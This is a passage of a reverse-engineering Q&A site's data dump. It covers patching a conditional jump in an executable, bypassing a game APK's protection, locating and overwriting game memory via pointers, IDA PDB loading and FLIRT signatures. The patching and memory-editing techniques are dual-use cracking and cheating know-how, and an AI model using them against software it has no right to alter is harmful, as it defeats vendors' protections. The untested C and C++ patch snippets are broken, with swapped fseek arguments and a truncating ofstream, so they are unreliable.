  <row Id="8179" PostTypeId="2" ParentId="8178" CreationDate="2015-02-07T23:45:21.807" Score="2" Body="&lt;p&gt;With OllyDBG2, there is an option for it : &lt;code&gt;Edit &amp;gt; Copy to Executable&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NHEia.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHEia.png&quot; alt=&quot;Showing the context menu item described above&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11702" LastEditorUserId="245" LastEditDate="2018-06-13T14:03:53.270" LastActivityDate="2018-06-13T14:03:53.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8180" PostTypeId="2" ParentId="8178" CreationDate="2015-02-08T00:23:22.590" Score="6" Body="&lt;p&gt;Okay, I suppose you just want to create a program that patches the already existing file, so here's how I'd do it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;First, you need the offset in the file.&#xA;That means that offset 0 is the first byte, 1 is the second, etc, as opposed to the offset + base which you see in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get that offset, right click the instruction, and go to &lt;code&gt;View &amp;gt; Executable file&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tY5VJ.png&quot; alt=&quot;executable file (to get the offset)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you take the offset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/64kFD.png&quot; alt=&quot;relative offset&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is &lt;code&gt;0x16A7&lt;/code&gt; in my case.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Once you have the offset, you must code a program to patch the program.&#xA;Here's a few ways: (I only tested the Python one, but the rest should work)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;C++&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;fstream&amp;gt;&#xA;&#xA;int main() {&#xA;    std::ofstream f(&quot;file_to_patch.exe&quot;, std::ios::binary);&#xA;    // seek to the desired offset&#xA;    f.seekp(0x16A7);&#xA;    // \x74 to \xEB, for example (conditional short to unconditional short)&#xA;    const char bytes[] = &quot;\xEB&quot;;&#xA;    f.write(bytes, sizeof(bytes));&#xA;    f.close();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;C&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;    FILE* f = fopen(&quot;to_patch.exe&quot;, &quot;r+b&quot;); // open&#xA;    fseek(f, 0, 0x16A7); // seek to the offset to patch&#xA;    fwrite((void*) &quot;\xEB&quot;, 1, 1, f);&#xA;    fclose(f);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Python&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In case you want to script it and don't wanna bother with C / C++, here's how you do it with Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = open(&quot;to_patch&quot;, &quot;r+b&quot;) # open in read/write binary&#xA;f.seek(0x16A7) # seek to the previously found offset&#xA;f.write(bytearray([0xEB])) # patch the jump&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-02-08T00:23:22.590" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8181" PostTypeId="1" AcceptedAnswerId="8184" CreationDate="2015-02-08T00:43:04.580" Score="-1" ViewCount="1814" Body="&lt;p&gt;Ive a problem.&#xA;I am unable to decompile a game apk successfully. I am using apktool. &#xA;I get many errors and but i get thw files. But then many of its smali files doesnt have a .end method in its code which makes a recompile impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me or decompile it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its this file &lt;a href=&quot;https://www.dropbox.com/s/05kj2x4zie734b9/com.asobimo.iruna_en-1.apk?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/05kj2x4zie734b9/com.asobimo.iruna_en-1.apk?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;//Edit: I figured out why it didnt work as I wanted to. The game has some kind of protection in apk since this year. So I used an older version of apk from 2014, and edited its files and set its version to actual version with APK Edit v0.4. Then save new apk and im fine =)&#xA;Thanks though for you help&lt;/p&gt;&#xA;" OwnerUserId="11704" LastEditorUserId="11704" LastEditDate="2015-02-09T18:57:14.787" LastActivityDate="2015-02-09T18:57:14.787" Title="Error decompiling apk" Tags="|decompile|apk|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2015-02-15T04:08:30.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="8182" PostTypeId="2" ParentId="8171" CreationDate="2015-02-08T02:20:31.863" Score="2" Body="&lt;p&gt;According to the SDK, the PDB loader is implemented as an IDA plugin (see the SDK, e.g: &lt;code&gt;\idasdk67\plugins\pdb&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin name is &quot;pdb&quot;, so you can call the plugin directly, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.load_and_run_plugin(&quot;pdb&quot;, call_code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;call_code&lt;/code&gt; is an &lt;code&gt;enum&lt;/code&gt; defined in &lt;code&gt;\idasdk67\plugins\pdb\common.h&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0, 1 and 2 are already defined and will ask for user input, but if you want to silently load a pdb for the actually loaded PE file, you can pass a value greater than 2, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.load_and_run_plugin(&quot;pdb&quot;, 3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do the trick (at least it worked for me :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;idaapi.load_and_run_plugin(&quot;pdb&quot;, 3)&#xA;PDB: using DIA dll &quot;C:\Program Files (x86)\Common Files\Microsoft Shared\VC\msdia90.dll&quot;&#xA;PDB: DIA interface version 9.0&#xA;ntkrpamp.pdb: not found, trying with the input file Z:\Reverse\Windows\win8.1\x86\6.3.9600\ntoskrnl.exe&#xA;Trying loadDataForExe with ffffffff&#xA;loadDataForExe: 0&#xA;PDB: loaded 2055 types&#xA;PDB: total 22027 symbols loaded for Z:\Reverse\Windows\win8.1\x86\6.3.9600\ntoskrnl.exe&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4702" LastEditorUserId="53" LastEditDate="2015-02-09T16:11:18.690" LastActivityDate="2015-02-09T16:11:18.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8183" PostTypeId="2" ParentId="8177" CreationDate="2015-02-08T20:19:23.590" Score="1" Body="&lt;p&gt;you need to find the segment (&lt;code&gt;LC_SEGMENT&lt;/code&gt;) load command which covers the address, then do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fle_off = (address-seg.address)+ seg.offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-02-08T20:19:23.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8184" PostTypeId="2" ParentId="8181" CreationDate="2015-02-09T00:26:13.933" Score="1" Body="&lt;p&gt;For various reasons, it is generally not possible to decompile a non-trivial program to the point where it can be correctly recompiled. Among other things, there's a lot of things you can do in bytecode that don't correspond to Java language features, and even in the ideal case, it is hard to restructure certain complex code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilation is useful for understanding code, but if you want to edit it, you need to learn how to patch things at the bytecode level. The easiest way to do this for APKs is using baksmali. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running baksmali gives you a directory with a smali file for each class in the dex file. You can then edit the smali to make the changes you want, and run smali to reassemble everything into a new dex file. Then of course you have to add your &lt;code&gt;classes.dex&lt;/code&gt; back into the apk, then sign and format it.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2015-02-09T00:26:13.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8185" PostTypeId="2" ParentId="8178" CreationDate="2015-02-09T10:45:35.970" Score="2" Body="&lt;p&gt;If you want a patch tool you dont need to code it. Use dUP (diablo2oo2 Universal Patcher) or R!SC Process Patcher to easily create a .exe that patches your defined offsets with your defined values.&lt;/p&gt;&#xA;" OwnerUserId="8595" LastActivityDate="2015-02-09T10:45:35.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8186" PostTypeId="1" AcceptedAnswerId="8188" CreationDate="2015-02-09T11:45:13.567" Score="6" ViewCount="7528" Body="&lt;p&gt;I found an assembler instruction: &lt;code&gt;mov [esi+2F],dl&lt;/code&gt;. I think ESI is a reference to a struct or class. &lt;code&gt;0x2F&lt;/code&gt; is the offset that references a property of the struct/class. Is it possible to find the value of the ESI register? I think this class or struct is initialized when the game is started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I tried to reverse GTA San Andreas. A lot of memory addresses of the GTA SA &lt;a href=&quot;http://www.gtamodding.com/?title=Memory_Addresses_%28SA%29&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found such information in this site: 0xB6F5F0 - Player pointer (CPed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's address that I finding now. But how I can find it with debugger like cheat-engine without pointer scan? I'd like to find addresses in asm code. It's possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set a breakpoint to the instruction. But I think it's useless because ESI address is dynamic. As I understand CPed struct/class uses dynamic memory allocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sorry for my bad English and thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11714" LastEditorUserId="53" LastEditDate="2015-02-25T16:14:50.890" LastActivityDate="2015-02-25T16:14:50.890" Title="Is it possible to find static pointer with disassembler?" Tags="|disassembly|debuggers|pointer|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8187" PostTypeId="2" ParentId="8149" CreationDate="2015-02-09T12:06:27.660" Score="2" Body="&lt;p&gt;I use Stud_Pe and I have added over 8 mb to a program using this. All you need to do is make a new .stud (sort of like adding a second .text section) and then code cave it in. Also, You shouldn't have any problems using this and then working with IDA or Olly for analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cgsoftlabs.ro/studpe.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cgsoftlabs.ro/studpe.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try it out and let me know if you get stuck with it. I can show you how to use this but it should be pretty strait forward.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="6992" LastEditDate="2015-02-09T12:12:01.393" LastActivityDate="2015-02-09T12:12:01.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8188" PostTypeId="2" ParentId="8186" CreationDate="2015-02-09T14:55:14.493" Score="10" Body="&lt;h1&gt;Yes, it is possible&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm going to explain you a bit how most games do it (I have never reversed any GTA but I suppose it's something like this anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to cover static and dynamic allocation of structures.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The static way:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GlobalGameInfo g_info;&#xA;// ...&#xA;g_info.some_data = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what ends up being a static offset in IDA, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea eax, [g_info + 0xAABB] ; suppose 0xAABB is the offset for 'some_data'&#xA;mov [eax], 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;g_info&lt;/code&gt; is always going to stay at the same offset, so once you find it, you can just use &lt;code&gt;g_info + offset&lt;/code&gt; to get your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The dynamic way:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Player* players; // can be defined as Player* players[&amp;lt;count&amp;gt;] or Player** players;&#xA;                 // it's the same&#xA;// ...&#xA;players = new Player[players_count];&#xA;// ...&#xA;players[1].alive = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which then results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; this is a static location which is actually the &quot;players&quot; variable&#xA;; and it contains an address which points to the offset in memory of the&#xA;; actual players structure&#xA;dword_xxxx dd ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to use it in e.g. Cheat Engine, you &lt;code&gt;Add a new address&lt;/code&gt;, check &lt;code&gt;Pointer&lt;/code&gt;, add the &lt;code&gt;xxxx&lt;/code&gt; part of &lt;code&gt;dword_xxxx&lt;/code&gt;, and in offset, put your desired offset.&#xA;For example, to get &lt;code&gt;players[1].alive&lt;/code&gt;, with &lt;code&gt;alive&lt;/code&gt; being on offset e.g. 0x100, you'd calculate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value_stored_in_dword_xxxx + sizeof(Player) * player_id + 0x100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if &lt;code&gt;dword_xxxx&lt;/code&gt; -&gt; &lt;code&gt;0xAABBCCDD&lt;/code&gt;, &lt;code&gt;sizeof(Player)&lt;/code&gt; -&gt; &lt;code&gt;0x204&lt;/code&gt;, &lt;code&gt;player_id&lt;/code&gt; -&gt; &lt;code&gt;8&lt;/code&gt;, and &lt;code&gt;offset&lt;/code&gt; -&gt; &lt;code&gt;0x100&lt;/code&gt;, your calculation would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xAABBCCDD + (0x204 * 8) + 0x100&#xA;// ^base      ^size   ^id  ^offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since you gave us &lt;code&gt;mov [esi + 0x2F], dl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;esi&lt;/code&gt; is a pointer to the structure. Look above (in the disassembly).&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;mov esi, dword ptr [dword_xxxx]&lt;/code&gt; (most probably) means it's dereferencing a pointer, which means that the structure is allocated dynamically.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;mov esi, offset dword_xxxx&lt;/code&gt; (most probably) means that it's just assigning the address (&lt;code&gt;xxxx&lt;/code&gt; part) to &lt;code&gt;esi&lt;/code&gt;, so this is a static address.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The usage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cheat Engine&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cheat Engine, it's easy as inputting the pointer and the offset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gFBPU.png&quot; alt=&quot;Cheat Engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;0x5CCB138&lt;/code&gt; is the &lt;code&gt;dword_xxxx&lt;/code&gt;, the value inside &lt;code&gt;dword_xxxx&lt;/code&gt; is &lt;code&gt;0x09021A00&lt;/code&gt;, and that + &lt;code&gt;0x142&lt;/code&gt; (my offset) results in the start of the in-game name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you want to do it programmatically, you can do it like this in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PCHAR my_name = PCHAR (*PDWORD(0x5CCB138) + 0x142);&#xA;^save the addr|       | ^deref to get     | add the offset&#xA;              | ^cast |    0x09021A00     |&#xA;&#xA;// -&amp;gt; be careful, do not surpass the max length!&#xA;// -&amp;gt; also remember that there's 'your name' length + 1 \x00 byte&#xA;//    at the end!&#xA;char new_name[] = &quot;newName&quot;;&#xA;strncpy(my_name, new_name, sizeof(new_name)); // again: be careful with the length!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The proper way, however, would be reversing the entire struct like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct player_data {&#xA;    int ID;&#xA;    char name[15];&#xA;    int some_data;&#xA;    ...;&#xA;};&#xA;// make sure the order / size of each item is correct!&#xA;// a single error can fuck up the entire struct&#xA;&#xA;// I'm going to assume you understand pointers&#xA;player_data* data = *(player_data**) 0x5CCB138;&#xA;&#xA;// do your changes&#xA;// again, be careful with the length!&#xA;// also note that sizeof() will not work if you use char*&#xA;char new_name[] = &quot;new name!&quot;;&#xA;strncpy(data-&amp;gt;name, new_name, sizeof(new_name));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-02-09T14:55:14.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8191" PostTypeId="2" ParentId="8068" CreationDate="2015-02-09T19:54:25.187" Score="6" Body="&lt;p&gt;I just created &lt;a href=&quot;http://ida-pro.wikia.com&quot;&gt;a &lt;code&gt;wikia&lt;/code&gt; for IDA Pro&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do add your contributions there! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll also be adding some info every now and then.&#xA;It is a community wiki, so please do no evil! =P&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-02-09T19:54:25.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8192" PostTypeId="1" AcceptedAnswerId="8193" CreationDate="2015-02-10T03:35:40.703" Score="1" ViewCount="1388" Body="&lt;p&gt;Upon performing a disassembly of a binary, I noticed that many of the subroutines have the wrong offset for the address. It seems that the byte preceding the 2 byte address is wrong. For example, in the screenshot below, the disassembly indicates the functions should be at 0xA5C1E and 0xA5BCA. I've double checked the raw hex dump and confirmed that there is an &quot;A&quot; byte before the 2 byte address. It's also interesting to note that addresses which start with &quot;A&quot; are impossible in this binary since it's only 0x7FFFF in length. Based on experience from other binaries, I know the true addresses for these functions should be 0x25C1E and 0x25BCA, respectively.  I can also confirm that I have subroutines which start at these locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nIPuj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disassembled other binaries (different application, same processor) and this problem didn't appear. However, every binary I've disassembled from this application shows this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to correct this in IDA Pro?  Does it have anything to do with my DPP register values?&lt;/p&gt;&#xA;" OwnerUserId="11721" LastEditorUserId="11721" LastEditDate="2015-02-10T04:29:28.710" LastActivityDate="2015-02-10T11:47:53.513" Title="Correcting subroutine offset in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8193" PostTypeId="2" ParentId="8192" CreationDate="2015-02-10T11:47:53.513" Score="2" Body="&lt;p&gt;Your broken addresses seem to be exactly 0x80000 plus the intended address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's two possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your binary is intended to be loaded at &lt;code&gt;0x80000&lt;/code&gt;, but you're loading it to &lt;code&gt;0x00000&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The hardware doesn't decode more than 19 address bits, so &lt;code&gt;0xa5c1e&lt;/code&gt; maps to &lt;code&gt;0x25c1e&lt;/code&gt; on the address bus, and the software uses address bit 19 as a kind of flag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-02-10T11:47:53.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8195" PostTypeId="1" AcceptedAnswerId="8205" CreationDate="2015-02-10T17:05:51.740" Score="4" ViewCount="2807" Body="&lt;p&gt;I recently discovered there is no native Linux driver for the Web Cam in my computer.  However, there is a person who has taking the initiative to start a &lt;a href=&quot;https://github.com/patjak/bcwc_pcie&quot; rel=&quot;nofollow&quot;&gt;github project&lt;/a&gt; for a driver.  That being said, I was able to get the web cam working in a qemu guest OS running OS X (10.10), and now I'm at the point where I would like to start to analyze the .kext is question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick google search revealed &lt;a href=&quot;https://inficererk.wordpress.com/2014/01/30/debugging-kext-with-vmware-gdb-osx-10-8-4/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, but I am not sure if this method would still apply to OS X (10.10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I try to debug the .kext on a running system, or should I just copy the .kext to my host OS (Linux) and start analyzing in a disassembler such as Hopper / Radare2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I should note, from what I understand, most OS X kernel extensions are written in C++ while most if not all Linux drivers are written in C.  So would I be wasting my time reversing / analyzing this .kext?  Any help on this subject matter would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2015-02-11T19:57:16.907" Title="What are some methods to reversing a .kext?" Tags="|osx|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8196" PostTypeId="1" CreationDate="2015-02-10T19:34:25.083" Score="1" ViewCount="635" Body="&lt;p&gt;I defined a new code section in my assembly program, which is going to be compiled into 32-bit ELF binary, on x86.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the linker scripts to assign a specified address for this new code section, it works. However, I noticed that this new section does not be loaded to the memory, after some debugging!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;readelf&lt;/code&gt; and figure out that there is no &quot;execution&quot; privilege of this new section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[15] .trampoline       PROGBITS        080483d0 004020 000117 00      0   0 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objcopy --set-section-flags .trampoline=alloc,code a.out&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I got this warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BFD: stQWykoH: warning: allocated section `.trampoline' not in segment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I realize that I didn't explicitly assign a &lt;code&gt;segment&lt;/code&gt; information to my new section!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to assign a &lt;code&gt;segment&lt;/code&gt; information to a new code section I defined? I double-checked the linker script (follow instruction &lt;a href=&quot;https://stackoverflow.com/questions/9508290/how-to-specify-base-addresses-for-sections-when-linking-or-alternatively-how-to/9550165#9550165&quot;&gt;here&lt;/a&gt; to dump), and I have no idea how to modify the script... &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I just want to add a new executable section to my assembly program, and assign a fixed address to this new section. So am I on the right way now?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-02-10T19:34:25.083" Title="Define new code section in assembly code to compile ELF binary" Tags="|assembly|c|elf|dynamic-linking|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8197" PostTypeId="1" AcceptedAnswerId="8673" CreationDate="2015-02-10T21:51:50.840" Score="2" ViewCount="585" Body="&lt;p&gt;GDB has a reasonably robust API which is exposed to Python at runtime.  It allows for inspecting various types, but does not appear to allow creation of types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, types can be manually added by loading an object file at runtime (&lt;a href=&quot;https://stackoverflow.com/q/7272558&quot;&gt;https://stackoverflow.com/q/7272558&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to add or create a new &lt;code&gt;gdb.Type&lt;/code&gt; object at runtime?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intent is to then allow inspection of memory via &lt;code&gt;gdb.Value.cast&lt;/code&gt; to the &lt;code&gt;type.pointer()&lt;/code&gt; and then &lt;code&gt;.dereference()&lt;/code&gt;d.  This would be much better/easier than manually deserializing data field-by-field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I thought that I could just load an object file programmatically.  It looks like GDB is perfectly happy to load cross-architecture object files for symbol/type purposes.  In order to not kill any real/useful symbols, or create misleading ones, a non-existent address should be used.  However, loading a &lt;code&gt;.o&lt;/code&gt; at an unmapped address requires the user to verify (type &lt;code&gt;y&lt;/code&gt;), so when done from &lt;code&gt;gdb.execute(...)&lt;/code&gt; it fails outright.&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-04-09T19:32:16.340" Title="Adding Types to GDB via Python" Tags="|gdb|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8198" PostTypeId="1" AcceptedAnswerId="8199" CreationDate="2015-02-11T00:28:29.120" Score="0" ViewCount="125" Body="&lt;p&gt;As we know, time is the bane of reverse engineering. I am wanting to know how are some ways that I can save time in reverse engineering? I have taken some thought and I have been going through many programs and finding that even if the program is considerably different I am able to find up to 255+ identical garbage/redundant functions. I was thinking this morning if there was a way to somehow fingerprint these, that it would save me a considerable amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I would like to know:&lt;br&gt;&#xA;Has anyone tried to fingerprint or make a database of these redundant functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what are some other ways that I can save time in my reversal process?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="53" LastEditDate="2015-02-25T16:14:29.120" LastActivityDate="2015-02-25T16:14:29.120" Title="Save Valuable Time Reverse Engineering" Tags="|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8199" PostTypeId="2" ParentId="8198" CreationDate="2015-02-11T01:06:25.543" Score="1" Body="&lt;p&gt;This is a common task when looking at binaries with statically linked code.  The static code varies in register assignment, relative pointer addressing to external object code and other details but is mostly identical across binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA uses the FLIRT system to solve this problem.&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it filters those bits that vary across linker executions and matches the remaining pattern against a list.  For very short functions there are many collisions, but for functions longer than ~30 bytes or so it's very good at identifying what you're looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using IDA then it comes with the tools to create your own FLIRT signatures.  If you're not using IDA then you would have to make a tool to pull apart your particular static libraries, disassemble the first opcodes, filter the variable bits (this is tricky), and create a database to link names to patterns.  You could apply the patterns as appropriate: borland libraries for borland program, MS runtime for visual studio, etc.&lt;/p&gt;&#xA;" OwnerUserId="4515" LastActivityDate="2015-02-11T01:06:25.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
